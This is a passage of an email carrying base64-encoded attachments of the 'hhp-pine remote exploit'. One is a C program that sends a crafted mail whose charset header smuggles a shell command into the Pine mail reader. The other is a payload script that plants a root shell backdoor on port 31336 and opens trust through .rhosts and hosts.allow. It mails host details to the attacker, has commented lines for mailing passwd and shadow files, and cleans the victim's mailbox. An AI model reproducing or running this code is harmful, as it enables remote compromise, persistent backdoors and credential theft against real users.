    bmNsdWRlIDxzdGRsaWIuaD4NCiNpbmNsdWRlIDxzdHJpbmcuaD4NCg0KI2RlZmluZSBUSU1FT1VU
    IDEyICAgICAgICAgICAgICAgLy8gVGhlIHRpbWUgd2Ugd2lsbCB3YWl0IGJlZm9yZSBnaXZpbmcg
    dXAuDQoNCmNoYXIgKiBvbWZnOyAgICAgICAgICAgICAgICAgICAgIC8vIGdsb2JhbGlzZWQgYXJn
    dlsyXS4NCnZvaWQgc2xvd2FzcyhpbnQgc2lnKTsNCg0KdW5zaWduZWQgaW50IHd0ZmlzaXQoY2hh
    ciAqbmFtZSkgLy8gSG9zdG5hbWUsIGlwLCBvciBuaWV0aGVyPw0KIHsNCiAgc3RydWN0IGluX2Fk
    ZHIgYWRkcjsNCiAgc3RydWN0IGhvc3RlbnQgKmhlOw0KDQogIGlmKCAoYWRkci5zX2FkZHIgPSBp
    bmV0X2FkZHIobmFtZSkpID09IC0xKQ0KICAgew0KDQogICAgaWYoIChoZSA9IGdldGhvc3RieW5h
    bWUobmFtZSkpID09IE5VTEwpDQogICAgIHsNCiAgICAgIGZwcmludGYoc3RkZXJyLCJcbi0oSSkt
    PiBUaGUgaG9zdG5hbWUgb3IgSVAgaXMgbm90IGNvcnJlY3QuXG4iKTsNCiAgICAgIGV4aXQoMSk7
    DQogICAgIH0NCiAgICBiY29weShoZS0+aF9hZGRyLCAoY2hhciAqKSZhZGRyLnNfYWRkciwgaGUt
    PmhfbGVuZ3RoKTsNCiAgIH0NCiAgcmV0dXJuIGFkZHIuc19hZGRyOw0KIH0NCg0KaW50IG1haW4o
    aW50IGFyZ2MsIGNoYXIgKmFyZ3ZbXSkNCiB7DQogIGNoYXIgbXNnWzUxMl07DQogIHN0cnVjdCBz
    b2NrYWRkcl9pbiB2aWN0ZW07DQogIGludCB0aGVfaXA7DQogIGludCB0aGVfcG9ydDsNCiAgaW50
    IHRoZV9zb2NrZXQ7DQogIGNoYXIgKiBpbmJ1ZjsNCiAgaW50IGE7DQoNCiAgaWYoIGFyZ2MgPCA0
    KSAgICAgLy8gQXJlIHRoZXJlIGVub3VnaCBhcmdzPw0KICAgew0KICAgIGZwcmludGYoc3Rkb3V0
    LCJcbiIpOw0KICAgIGZwcmludGYoc3Rkb3V0LCItKEkpLT4gSW5mZWN0LmMgLUJ5OiBlbGFpY2gg
    b2YgdGhlIGhocC5cbiIpOw0KICAgIGZwcmludGYoc3Rkb3V0LCItKEkpLT4gUGFydCBvZiB0aGUg
    KGhocC1waW5lIHJlbW90ZSBleHBsb2l0KS5cbiIpOw0KICAgIGZwcmludGYoc3Rkb3V0LCItKEkp
    LT5cbiIpOw0KICAgIGZwcmludGYoc3Rkb3V0LCItKEkpLT4gVXNhZ2U6ICVzIDxJbmZlY3RlZCBp
    bmRleC5odG1sIHNpdGU+IDxUYXJnZXQgSG9zdD4gPFRhZ2V0IFVzZXJOYW1lPlxuIiwgYXJndlsw
    XSk7DQogICAgZnByaW50ZihzdGRvdXQsIi0oSSktPiBFeGFtcDogJXMgd3d3Lm15ZG9tYWluLmNv
    bSB0YXJnZXQuY29tIHJvb3RcbiIsIGFyZ3ZbMF0pOw0KICAgIGZwcmludGYoc3Rkb3V0LCItKEkp
    LT5cbiIpOw0KICAgIGZwcmludGYoc3Rkb3V0LCItKEkpLT4gSXQgQ0FOVCBiZSBhIGRpciBzaXRl
    IGxpa2Ugd3d3LmJsYWguY29tL2RpciBhbmQgRE9OVFxuIik7DQogICAgZnByaW50ZihzdGRvdXQs
    Ii0oSSktPiBwdXQgJ2h0dHA6Ly8nIGJlY2F1c2Ugd2UgQ0FOVCB1c2UgdGhlICcvJyBjaGFyYWN0
    ZXIuXG4iKTsNCiAgICBmcHJpbnRmKHN0ZG91dCwiLShJKS0+XG4iKTsNCiAgICBmcHJpbnRmKHN0
    ZG91dCwiLShJKS0+IEhhdmUgZnVuLlxuXG4iKTsNCiAgICBleGl0KC0xKTsNCiAgIH0NCg0KICBt
    ZW1zZXQobXNnLCAwLCA1MTIpOw0KDQogIHNpZ25hbChTSUdBTFJNLCAmc2xvd2Fzcyk7ICAgLy8g
    VGhpcyB3aWxsIGNhdGNoIHRoZSBhbGFybSBpZiBpdCBnb2VzIG9mZi4NCiAgYWxhcm0oVElNRU9V
    VCk7ICAgICAgICAgICAgICAvLyBBbGFybSBpZiB3ZSByZWFjaCB0aGUgdGhlIGRlZmluZWQgdGlt
    ZW91dC4NCg0KICBvbWZnICAgICAgICAgICAgICAgICAgID0gYXJndlsyXTsNCiAgdGhlX2lwICAg
    ICAgICAgICAgICAgICA9IHd0ZmlzaXQoYXJndlsyXSk7IC8vIGFyZ3ZbMl0gLT4gd3RmaXNpdCgp
    IC0+IHRoZV9pcA0KICB0aGVfc29ja2V0ICAgICAgICAgICAgID0gc29ja2V0KEFGX0lORVQsIFNP
    Q0tfU1RSRUFNLCBJUFBST1RPX1RDUCk7DQogIHZpY3RlbS5zaW5fZmFtaWx5ICAgICAgPSBBRl9J
    TkVUOw0KICB2aWN0ZW0uc2luX3BvcnQgICAgICAgID0gaHRvbnMoMjUpOyAgLy8gU01UUC4NCiAg
    dmljdGVtLnNpbl9hZGRyLnNfYWRkciA9IHRoZV9pcDsNCg0KICBpZiggY29ubmVjdCh0aGVfc29j
    a2V0LCAoc3RydWN0IHNvY2thZGRyICopJnZpY3RlbSwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcl9p
    bikpID09IC0xKQ0KICAgew0KICAgIHBlcnJvcigiY29ubmVjdCIpOyAgICAvLyBXZSBjb3VsZG50
    IGNvbm5lY3QuDQogICAgZXhpdCgtMSk7ICAgICAgICAgICAgIC8vIEV4aXRzIHRoZSBwcm9ncmFt
    Lg0KICAgfQ0KDQogICBmcHJpbnRmKHN0ZG91dCwiXG4iKTsNCiAgIGZwcmludGYoc3Rkb3V0LCIt
    KEkpLT4gSW5mZWN0LmMgLUJ5OiBlbGFpY2ggb2YgdGhlIGhocC5cbiIpOw0KICAgZnByaW50Zihz
    dGRvdXQsIi0oSSktPiBQYXJ0IG9mIHRoZSAoaGhwLXBpbmUgcmVtb3RlIGV4cGxvaXQpLlxuIik7
    DQogICBmcHJpbnRmKHN0ZG91dCwiLShJKS0+IFxuIik7DQogICBmcHJpbnRmKHN0ZG91dCwiLShJ
    KS0+IEpvYnMvUHJvYnMvQnVncy9FdGMuIC0+IGhocEBoaHAuaGVtcC5uZXRcbiIpOw0KICAgZnBy
    aW50ZihzdGRvdXQsIi0oSSktPiBcbiIpOw0KICAgZnByaW50ZihzdGRvdXQsIi0oSSktPiBIb3N0
    IHcvIGluZmVjdGVkIGluZGV4Lmh0bWwuIC0+ICVzXG4iLCBhcmd2WzFdKTsNCiAgIGZwcmludGYo
    c3Rkb3V0LCItKEkpLT4gVGFyZ2V0IEhvc3QgdG8gaW5mZWN0LiAgICAgICAtPiAlc1xuIiwgYXJn
    dlsyXSk7DQogICBmcHJpbnRmKHN0ZG91dCwiLShJKS0+IFRhcmdldCBVc2VyTmFtZSB0byBpbmZl
    Y3QuICAgLT4gJXNcbiIsIGFyZ3ZbM10pOw0KICAgZnByaW50ZihzdGRvdXQsIi0oSSktPiBcbiIp
    Ow0KICAgZnByaW50ZihzdGRvdXQsIi0oSSktPiBBdHRlbXB0aW5nIHRvIGNvbm5lY3QuLi5cbiIp
    Ow0KDQogICBpbmJ1ZiA9IG1hbGxvYyg2NTUzNik7DQogICBiemVybyhpbmJ1Ziw2NTUzNik7DQog
    ICB3aGlsZShzdHJzdHIoaW5idWYsICIyMjAiKSA9PSBOVUxMKSAvLyBVbnRpbGwgd2UgZ2V0IGEg
    ZnVsbCBjb25uZWN0aW9uDQogICAgeyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAv
    LyB3ZSB3aWxsIHdhaXQgYW5kIG1ha2UgYSBmdW5ueSBtb3Rpb24uDQogICAgIHByaW50ZigiXHIt
    KEkpLT4gV2FpdGluZyBmb3IgZnVsbCBjb25uZWN0aW9uLiIpOw0KICAgICBmZmx1c2goc3Rkb3V0
    KTsNCiAgICAgdXNsZWVwKDkwMDAwMCk7DQogICAgIGZvciAoYT0wO2E8PTI7YSsrKQ0KICAgICAg
    ew0KICAgICAgIHByaW50ZigiXHItKFxcKS0+IFdhaXRpbmcgZm9yIGZ1bGwgY29ubmVjdGlvbi4u
    Iik7DQogICAgICAgZmZsdXNoKHN0ZG91dCk7DQogICAgICAgdXNsZWVwKDkwMDAwMCk7DQogICAg
    ICAgcHJpbnRmKCJcci0oLSktPiBXYWl0aW5nIGZvciBmdWxsIGNvbm5lY3Rpb24uLi4iKTsNCiAg
    ICAgICBmZmx1c2goc3Rkb3V0KTsNCiAgICAgICB1c2xlZXAoOTAwMDAwKTsNCiAgICAgICBwcmlu
    dGYoIlxyLSgvKS0+IFdhaXRpbmcgZm9yIGZ1bGwgY29ubmVjdGlvbi4uLi4iKTsNCiAgICAgICBm
    Zmx1c2goc3Rkb3V0KTsNCiAgICAgICB1c2xlZXAoOTAwMDAwKTsNCiAgICAgICBwcmludGYoIlxy
    LShJKS0+IFdhaXRpbmcgZm9yIGZ1bGwgY29ubmVjdGlvbi4iKTsNCiAgICAgICBmZmx1c2goc3Rk
    b3V0KTsNCiAgICAgICB1c2xlZXAoOTAwMDAwKTsNCiAgICAgIH0NCiAgICAgcmVjdih0aGVfc29j
    a2V0LGluYnVmK3N0cmxlbihpbmJ1ZiksNjU1MzUtc3RybGVuKGluYnVmKSwwKTsNCiAgICB9DQoN
    CiAgIGlmKHN0cnN0cihpbmJ1ZiwgIjIyMCIpICE9IE5VTEwpICAvLyBXZSBmdWxseSBjb25uZWN0
    ZWQgdG8gdGhlIFNNVFAgc2VydmVyLg0KICAgIHsNCiAgICAgc3ByaW50Zihtc2csIkhFTE8gVEhF
    UkVcbk1BSUwgRlJPTToiKTsgICAgICAgICAgICAgICB3cml0ZSh0aGVfc29ja2V0LG1zZyxzdHJs
    ZW4obXNnKSk7DQogICAgIHNwcmludGYobXNnLCJEYXZlPGRhdmVAbG9jYWxob3N0PlxuUkNQVCBU
    TzoiKTsgICAgICAgd3JpdGUodGhlX3NvY2tldCxtc2csc3RybGVuKG1zZykpOw0KICAgICBzcHJp
    bnRmKG1zZywiJXM8JXNAJXM+XG4iLGFyZ3ZbM10sYXJndlszXSxhcmd2WzJdKTsgIHdyaXRlKHRo
    ZV9zb2NrZXQsbXNnLHN0cmxlbihtc2cpKTsNCiAgICAgc3ByaW50Zihtc2csIkRBVEFcbiIpOyAg
    ICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3cml0ZSh0aGVfc29ja2V0LG1zZyxzdHJsZW4o
    bXNnKSk7DQogICAgIHNwcmludGYobXNnLCJGcm9tOiBEYXZlPGRhdmVAbG9jYWxob3N0PlxuVE86
    ICIpOyAgICAgd3JpdGUodGhlX3NvY2tldCxtc2csc3RybGVuKG1zZykpOw0KICAgICBzcHJpbnRm
    KG1zZywiJXM8JXNAJXM+XG4iLGFyZ3ZbM10sYXJndlszXSwgYXJndlsyXSk7IHdyaXRlKHRoZV9z
    b2NrZXQsbXNnLHN0cmxlbihtc2cpKTsNCiAgICAgc3ByaW50Zihtc2csIlN1YmplY3Q6IEhleWEu
    XG4iKTsgICAgICAgICAgICAgICAgICAgICB3cml0ZSh0aGVfc29ja2V0LG1zZyxzdHJsZW4obXNn
    KSk7DQogICAgIHNwcmludGYobXNnLCJNSU1FLVZlcnNpb246IDEuMFxuIik7ICAgICAgICAgICAg
    ICAgICAgd3JpdGUodGhlX3NvY2tldCxtc2csc3RybGVuKG1zZykpOw0KICAgICBzcHJpbnRmKG1z
    ZywiQ29udGVudC1UeXBlOiBNVUxUSVBBUlQvTUlYRUQ7IEJPVU5EIik7IHdyaXRlKHRoZV9zb2Nr
    ZXQsbXNnLHN0cmxlbihtc2cpKTsNCiAgICAgc3ByaW50Zihtc2csIkFSWT1cIjgzMjMzMjgtMjM1
    MDY1MTQ1LTkxODQyNTYwNz06MyIpOyB3cml0ZSh0aGVfc29ja2V0LG1zZyxzdHJsZW4obXNnKSk7
    DQogICAgIHNwcmludGYobXNnLCIxOVwiXG4iKTsgICAgICAgICAgICAgICAgICAgICAgICAgICAg
    ICAgd3JpdGUodGhlX3NvY2tldCxtc2csc3RybGVuKG1zZykpOw0KICAgICBzcHJpbnRmKG1zZywi
    LS04MzIzMzI4LTIzNTA2NTE0NS05MTg0MjU2MDc9OjMxOVxuIik7IHdyaXRlKHRoZV9zb2NrZXQs
    bXNnLHN0cmxlbihtc2cpKTsNCiAgICAgc3ByaW50Zihtc2csIkNvbnRlbnQtVHlwZTogVEVYVC9Q
    TEFJTjsgY2hhcnNldD0nVSIpOyB3cml0ZSh0aGVfc29ja2V0LG1zZyxzdHJsZW4obXNnKSk7DQog
    ICAgIHNwcmludGYobXNnLCJTLUFTQ0lJJ1xuIik7ICAgICAgICAgICAgICAgICAgICAgICAgICAg
    d3JpdGUodGhlX3NvY2tldCxtc2csc3RybGVuKG1zZykpOw0KICAgICBzcHJpbnRmKG1zZywiSnVz
    dCBrZWVwaW5nIHVwIGFuZCBzYXlpbmcgaGkuXG4iKTsgICAgIHdyaXRlKHRoZV9zb2NrZXQsbXNn
    LHN0cmxlbihtc2cpKTsNCiAgICAgc3ByaW50Zihtc2csIkkgZ290IGEgbmV3IGFkZHkgYW5kIGRv
    bWFpbiBoZWhlLi5cbiIpOyB3cml0ZSh0aGVfc29ja2V0LG1zZyxzdHJsZW4obXNnKSk7DQogICAg
    IHNwcmludGYobXNnLCKgXG4iKTsgIC8qIFRoaXMgaXMgaGVyZSBzbyBpZiAgICAgICovICAgd3Jp
    dGUodGhlX3NvY2tldCxtc2csc3RybGVuKG1zZykpOw0KICAgICBzcHJpbnRmKG1zZywioFxuIik7
    ICAvKiBwaW5lIHNlbmRzIGEgbXNnIHRvICAgICAqLyAgIHdyaXRlKHRoZV9zb2NrZXQsbXNnLHN0
    cmxlbihtc2cpKTsNCiAgICAgc3ByaW50Zihtc2csIqBcbiIpOyAgLyogdGhlaXIgdGVybSwgdGhl
    eSB3b250ICAgKi8gICB3cml0ZSh0aGVfc29ja2V0LG1zZyxzdHJsZW4obXNnKSk7DQogICAgIHNw
    cmludGYobXNnLCKgXG4iKTsgIC8qIHNlZSBhbnkgb2YgdGhlIGVtYWlsICAgICovICAgd3JpdGUo
    dGhlX3NvY2tldCxtc2csc3RybGVuKG1zZykpOw0KICAgICBzcHJpbnRmKG1zZywioFxuIik7ICAv
    KiBjb250ZW50cyB3ZSdyZSBzZW5kaW5nLiAqLyAgIHdyaXRlKHRoZV9zb2NrZXQsbXNnLHN0cmxl
    bihtc2cpKTsNCiAgICAgc3ByaW50Zihtc2csIi0tODMyMzMyOC0yMzUwNjUxNDUtOTE4NDI1NjA3
    PTozMTlcbiIpOyB3cml0ZSh0aGVfc29ja2V0LG1zZyxzdHJsZW4obXNnKSk7DQogICAgIHNwcmlu
    dGYobXNnLCJDb250ZW50LVR5cGU6IFRFWFQvUExBSU47IGNoYXJzZXQ9YGAiKTsgd3JpdGUodGhl
    X3NvY2tldCxtc2csc3RybGVuKG1zZykpOw0KICAgICBzcHJpbnRmKG1zZywibHlueCR7SUZTfS1z
    b3VyY2Uke0lGU30lc3x1IiwgYXJndlsxXSk7IHdyaXRlKHRoZV9zb2NrZXQsbXNnLHN0cmxlbiht
    c2cpKTsNCiAgICAgc3ByaW50Zihtc2csInVkZWNvZGV8Li4uYGA7IG5hbWU9XCJlbWFpbGZcIlxu
    Iik7ICAgICB3cml0ZSh0aGVfc29ja2V0LG1zZyxzdHJsZW4obXNnKSk7DQogICAgIHNwcmludGYo
    bXNnLCJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBCQVNFNjRcbiIpOyAgd3JpdGUodGhlX3Nv
    Y2tldCxtc2csc3RybGVuKG1zZykpOw0KICAgICBzcHJpbnRmKG1zZywiQ29udGVudC1EZXNjcmlw
    dGlvbjogaGV5YVxuIik7ICAgICAgICAgIHdyaXRlKHRoZV9zb2NrZXQsbXNnLHN0cmxlbihtc2cp
    KTsNCiAgICAgc3ByaW50Zihtc2csIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZp
    Iik7ICB3cml0ZSh0aGVfc29ja2V0LG1zZyxzdHJsZW4obXNnKSk7DQogICAgIHNwcmludGYobXNn
    LCJsZW5hbWU9XCJlbWFpbGZcIlxuIik7ICAgICAgICAgICAgICAgICAgd3JpdGUodGhlX3NvY2tl
    dCxtc2csc3RybGVuKG1zZykpOw0KICAgICBzcHJpbnRmKG1zZywiLlxuIik7IC8qIGZpbmlzaGVk
    IHRoZSBlbWFpbCAqLyAgICAgICAgIHdyaXRlKHRoZV9zb2NrZXQsbXNnLHN0cmxlbihtc2cpKTsN
    CiAgICAgc3ByaW50Zihtc2csInF1aXRcblxuIik7IC8qIGNsb3NlIHRoZSBjb25uZWN0aW9uLiAq
    LyB3cml0ZSh0aGVfc29ja2V0LG1zZyxzdHJsZW4obXNnKSk7DQoNCiAgICAgY2xvc2UodGhlX3Nv
    Y2tldCk7ICAvLyBSZSBpbnN1cmVzIHRoZSBjbG9zaW5nIG9mIHRoZV9zb2NrZXQuDQogICAgIGZw
    cmludGYoc3Rkb3V0LCJcbiIpOw0KICAgICBmcHJpbnRmKHN0ZG91dCwiLShJKS0+IFxuIik7DQog
    ICAgIGZwcmludGYoc3Rkb3V0LCItKEkpLT4gSW5mZWN0ZWQgZW1haWwgc2VudCFcbiIpOw0KICAg
    ICBmcHJpbnRmKHN0ZG91dCwiLShJKS0+IFxuIik7DQogICAgIGZwcmludGYoc3Rkb3V0LCItKEkp
    LT4gV2hlbiAlcyByZWFkcyB0aGUgZW1haWwsXG4iLCBhcmd2WzNdKTsNCiAgICAgZnByaW50Zihz
    dGRvdXQsIi0oSSktPiB5b3UnbGwgcmVjaWV2ZSBhbiBlbWFpbCB0byB0aGVcbiIpOw0KICAgICBm
    cHJpbnRmKHN0ZG91dCwiLShJKS0+IGFkZHJlc3MgeW91IGRlZmluZWQgaW4gcHNpdGUuc2guXG5c
    biIpOw0KICAgICByZXR1cm4gMDsNCiAgICB9DQogfQ0KDQp2b2lkIHNsb3dhc3MoaW50IHNpZykg
    ICAvLyBBbGFybSB3ZW50IG9mZi4NCiB7DQogIGZwcmludGYoc3Rkb3V0LCJcbiIpOw0KICBmcHJp
    bnRmKHN0ZG91dCwiLShJKS0+ICVzIC0+IFNlcnZlciBpcyBmaXJld2FsbGVkLCBvciBsYWdnZWQg
    dG8gaGVsbC5cbiIsIG9tZmcpOw0KICBmcHJpbnRmKHN0ZG91dCwiXG4iKTsNCiAgZXhpdCgtMSk7
    ICAgICAgICAgICAgLy8gRXhpdHMgdGhlIHByb2dyYW0uDQoNCg0KLyoNCiAgSWYgeW91cmUgaGF2
    aW5nIHRyb3VibGUgdXNpbmcgdGhpcywgbGlrZSBpIGhhdmUgb24gdmVyeSBmZXcgc2VydmVycy4u
    Lg0KICB0aGUgcmF3IGVtYWlsIGlzIGFzIGZvbGxvd3M6IFJlbWViZXIgdG8gY2hhbmdlICdVU0VS
    TkFNRScgdG8gdGhlIHVzZXINCiAgeW91J3JlIHRyeWluZyB0byBpbmZlY3QsIGFuZCBjaGFuZ2Ug
    J0hPU1ROQU1FLVdJVEgtSU5GRUNURUQtaW5kZXguaHRtbCcNCiAgd2l0aCB0aGUgaG9zdG5hbWUg
    b2YgdGhlIGRvbWFpbiB3aXRoIHRoZSB1dWVuY29kZWQgcHNpdGUuc2ggb24gdGhlDQogIGluZGV4
    Lmh0bWwgKHJlbWVtYmVyIGl0IGhhcyB0byBiZSB3d3cuYmxhaC5jb20sIGFuZCBjYW50IGJlIGEg
    dXNlciBkaXINCiAgbGlrZSB3d3cuYmxhaC5jb20vdXNlciBhbmQgZG9udCBwdXQgaHR0cDovLywg
    YmVjYXVzZSB3ZSBjYW50IHVzZSB0aGUNCiAgJy8nIGNoYXJhY3RlciBpbiB0aGUgY2hhcnNldC4g
    LWVsYWljaA0KDQoNCkhFTE8gVEhFUkUNCk1BSUwgRlJPTTogRGF2ZTxkYXZlQGxvY2FsaG9zdD4N
    ClJDUFQgVE86IFVTRVJOTUFFPFVTRVJOQU1FQHRhcmdldC5jb20+DQpEQVRBDQpGcm9tOiBEYXZl
    PGRhdmVAbG9jYWxob3N0Pg0KVE86IFVTRVJOTUFFPFVTRVJOQU1FQHRhcmdldC5jb20+DQpTdWJq
    ZWN0OiBIZXlhLg0KTUlNRS1WZXJzaW9uOiAxLjANCkNvbnRlbnQtVHlwZTogTVVMVElQQVJUL01J
    WEVEOyBCT1VOREFSWT0iODMyMzMyOC0yMzUwNjUxNDUtOTE4NDI1NjA3PTozMTkiDQotLTgzMjMz
    MjgtMjM1MDY1MTQ1LTkxODQyNTYwNz06MzE5XG4NCkNvbnRlbnQtVHlwZTogVEVYVC9QTEFJTjsg
    Y2hhcnNldD0nVVMtQVNDSUknDQpKdXN0IGtlZXBpbmcgdXAgYW5kIHNheWluZyBoaS4NCkkgZ290
    IGEgbmV3IGFkZHkgYW5kIGRvbWFpbiBoZWhlLg0KDQotLTgzMjMzMjgtMjM1MDY1MTQ1LTkxODQy
    NTYwNz06MzE5DQpDb250ZW50LVR5cGU6IFRFWFQvUExBSU47IGNoYXJzZXQ9YGBseW54JHtJRlN9
    LXNvdXJjZSR7SUZTfUhPU1ROQU1FLVdJVEgtSU5GRUNURUQtaW5kZXguaHRtbHx1dWRlY29kZXwu
    Li5gYDsgbmFtZT0iZW1haWxmIg0KQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogQkFTRTY0DQpD
    b250ZW50LURlc2NyaXB0aW9uOiBoZXlhDQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50
    OyBmaWxlbmFtZT0iZW1haWxmIg0KLg0KcXVpdA0KDQoqLw0KfQ0KDQo=
    
    --_=_=_=IMA.BOUNDARY.FDV19J138764=_=_=_
    Content-Type: APPLICATION/OCTET-STREAM; NAME="psite.sh"
    Content-Transfer-Encoding: BASE64
    Content-ID: <Pine.LNX.4.10.9906242101138.10875at_private>
    Content-Description:
    
    IyEvYmluL3NoDQojIHBzaXRlLnNoDQojIGJ5OiBlbGFpY2ggb2YgdGhlIGhocC4NCiMgU2NyaXB0
    ICMxIG9mIHRoZSBoaHAtcGluZSByZW1vdGUgZXhwbG9pdC4NCiMNCiMgVGhpcyBjYW50IGJlIGEg
    QyBwcm9ncmFtIGJlY2F1c2Ugd2UgZG9udCB3YW50IHRvIHJhaXNlDQojIHRoZSByZXF1aXJtZW50
    cyBvZiB0aGUgcHJvZ3JhbXMgbmVlZGVkIHRvIHVzZSB0aGlzIGV4cGxvaXQuDQojDQojIEZvciBS
    T09UIGluZmVjdGlvbnMgaXQuLi4NCiMgTWFrZXMgYSBiYWNrZG9vciBvbiBwb3J0IDMxMzM2Lg0K
    IyBNYWtlcyAucmhvc3RzLg0KIyBUdXJucyBwb3J0IDcwIGludG8gYSB0ZWxuZXQgcG9ydC4gLUlu
    Y2FzZSAyMyBpcyBmaXJld2FsbGVkLg0KIyBQdXRzIEFMTDpBTEwgaW4gaG9zdHMuYWxsb3cuDQoj
    IEVtYWlscyB5b3UgdGhpZXIgaW5mZWN0aW9uLg0KIyBTZW5kcyB5b3UgYW4geHRlcm0uKElmIHlv
    dSBkZWZpbmUgaXQuKQ0KIw0KIyBGb3IgTk9OLVJPT1QgaW5mZWN0aW9ucyBpdC4uLg0KIyBTZW5k
    cyB5b3UgYW4geHRlcm0uKElmIHlvdSBkZWZpbmUgaXQuKQ0KIyBlbWFpbHMgeW91IHBhc3N3ZCBm
    aWxlLihJZiB5b3UgZGVmaW5lZCBpdC4pDQojIGxvZ3MgdGhlbSBvdXQgbWFraW5nIHRoZW0gcmVs
    b2dpbiB0YWtpbmcgdGhlaXIgbG9naW4gYW5kIHBhc3N3ZA0KIw0KIyBCZSBzdXJlIHRvIGNoYW5n
    ZSB0aGUgZW1haWwgYWRkcmVzcyB0byB5b3VycyBpbiB0aGUgYmVsb3cgc2NyaXB0Lg0KIyANCiMg
    VXNhZ2U6IFtyb290QHBpbmVdIyB1dWVuY29kZSBwc2l0ZS5zaCAuLi4gPiBpbmRleC5odG1sDQoj
    IFRoZW4gY2hhbmdlIHRoZSBtb2RlIHRvIDc3NyBpbiB0aGUgaW5kZXguaHRtbC4NCiMgdmlldyB0
    aGUgUkVBRE1FIGlmIHlvdSBuZWVkIGEgZG9tYWluIHRvIHB1dCB0aGlzIG9uLg0KIw0KaWYgWyAi
    YGlkIHwgYXdrICd7cHJpbnQgJDF9J2AiID0gInVpZD0wKHJvb3QpIiBdOyB0aGVuDQpraWxsYWxs
    IC05IHBpbmUgMj4mMQ0KIyBYVEVSTSBERUZJTkVTOiBUaGUgbmV4dCB0aHJlZSBsaW5lcyBhcmUg
    Zm9yIG9zIHZhcmlhbnQgeHRlcm0gZGlycy4NCiMvdXNyL2Jpbi9YMTEveHRlcm0gLWRpc3BsYXkg
    PHlvdXItaXA+OjAuMCAtcnYgLWUgL2Jpbi9zaA0KIy91c3IvWDExUjYvYmluL3h0ZXJtIC1kaXNw
    bGF5IDx5b3VyLWlwPjowLjAgLXJ2IC1lIC9iaW4vc2gNCiMvdXNyL29wZW53aW4vYmluL3h0ZXJt
    IC1kaXNwbGF5IDx5b3VyLWlwPjowLjAgLXJ2IC1lIC9iaW4vc2gNCmVjaG8gIisgKyIgPiB+Ly5y
    aG9zdHMgMj4mMQ0KZWNobyAiKyArIiA+IC8ucmhvc3RzIDI+JjENCmVjaG8gIisgKyIgPiAvcm9v
    dC8ucmhvc3RzIDI+JjENCmVjaG8gIkFMTDpBTEwiID4+IC9ldGMvaG9zdHMuYWxsb3cgMj4mMQ0K
    Y2F0IC9ldGMvaW5ldGQuY29uZiB8IHNlZCBzLyN0ZWxuZXQvdGVsbmV0L2cgPiAvZXRjLy4uLiAy
    PiYxDQptdiAvZXRjLy4uLiAvZXRjL2luZXRkLmNvbmYgMj4mMQ0KY2F0IC9ldGMvaW5ldGQuY29u
    ZiB8IHNlZCBzLyNnb3BoZXIvZ29waGVyL2cgPiAvZXRjLy4uLiAyPiYxDQptdiAvZXRjLy4uLiAv
    ZXRjL2luZXRkLmNvbmYgMj4mMQ0KY3AgL3Vzci9zYmluL2luLnRlbG5ldGQgL3Vzci9zYmluL2du
    IDI+JjENCmVjaG8gImhocC1jb25mIHN0cmVhbSB0Y3Agbm93YWl0IHJvb3QgL3Vzci9zYmluL2xp
    bnV4Y25mIHNoIC1pIiA+PiAvZXRjL2luZXRkLmNvbmYgMj4mMQ0KY3AgL2Jpbi9zaCAvdXNyL3Ni
    aW4vbGludXhjbmYgMj4mMQ0KY2htb2QgK3ggL3Vzci9zYmluL2xpbnV4Y25mIDI+JjENCmNobW9k
    ICt4IC91c3Ivc2Jpbi9nbiAyPiYxDQpta2RpciAvZXRjL2Nyb24uaG91cmx5IDI+JjENCmVjaG8g
    InJtIGBwd2RgLy4uLiIgPiAvZXRjL2Nyb24uaG91cmx5Ly4uLiAyPiYxDQplY2hvICJybSAvZXRj
    L2Nyb24uaG91cmx5Ly4uLiIgPj4gL2V0Yy9jcm9uLmhvdXJseS8uLi4gMj4mMQ0KZWNobyAiaGhw
    LWNvbmYgICAgICAgICAzMTMzNi90Y3AiID4+IC9ldGMvc2VydmljZXMgMj4mMQ0Ka2lsbGFsbCAt
    SFVQIGluZXRkIDI+JjENCmVjaG8gIkltIGEgKGhocC1waW5lIHJlbW90ZSBleHBsb2l0LikgaW5m
    ZWN0aW9uLiIgPiB+Ly4uLi4uIDI+JjENCmhvc3RuYW1lIC1pID4+IH4vLi4uLi4gMj4mMQ0KaG9z
    dG5hbWUgLWQgPj4gfi8uLi4uLiAyPiYxDQp1bmFtZSAtYSA+PiB+Ly4uLi4uIDI+JjENCiMgQ2hh
    bmdlIHRoaXMgdG8geW91ciBlbWFpbCBhZGRyZXNzLg0KY2F0IH4vLi4uLi4gfCBtYWlsIC1zIGho
    cC1waW5lX3Jvb3QgcGlnc3BpZ3NAeWFob28uY29tIDI+JjENCiMgZWNobyAiYGhvc3RuYW1lIC1p
    YCAtIGBjYXQgL2V0Yy9wYXNzd2RgIiB8IG1haWwgLXMgaGhwLXBpbmVfcGFzc3dkLWZpbGUgcGln
    c3BpZ3NAeWFob28uY29tIDI+JjENCiMgZWNobyAiYGhvc3RuYW1lIC1pYCAtIGBjYXQgL2V0Yy9z
    aGFkb3dgIiB8IG1haWwgLXMgaGhwLXBpbmVfc2hhZG93LWZpbGUgcGlnc3BpZ3NAeWFob28uY29t
    IDI+JjENCnJtIH4vLi4uLi4gMj4mMQ0Kcm0gLWZyIHBzaXRlLmMgMj4mMQ0KY2F0IC92YXIvc3Bv
    b2wvbWFpbC9gd2hvYW1pYCB8IGVncmVwIC12ICJ1dWRlfGVtYWlsZnx2b2lkfEJBU0U2NCIgPiAv
    dG1wLy4uLi4uIDI+JjENCm12IC90bXAvLi4uLi4gL3Zhci9zcG9vbC9tYWlsL2B3aG9hbWlgIDI+
    JjENCiMgRm9yIGNhcGFiaWxpdHkgd2l0aCBvdGhlciBvcGVyYXRpbmcgc3lzdGVtcy4uLg0KY2F0
    IC91c3Ivc3Bvb2wvbWFpbC9gd2hvYW1pYCB8IGVncmVwIC12ICJ1dWRlfGVtYWlsZnx2b2lkfEJB
    U0U2NCIgPiAvdG1wLy4uLi4uIDI+JjENCm12IC90bXAvLi4uLi4gL3Vzci9zcG9vbC9tYWlsL2B3
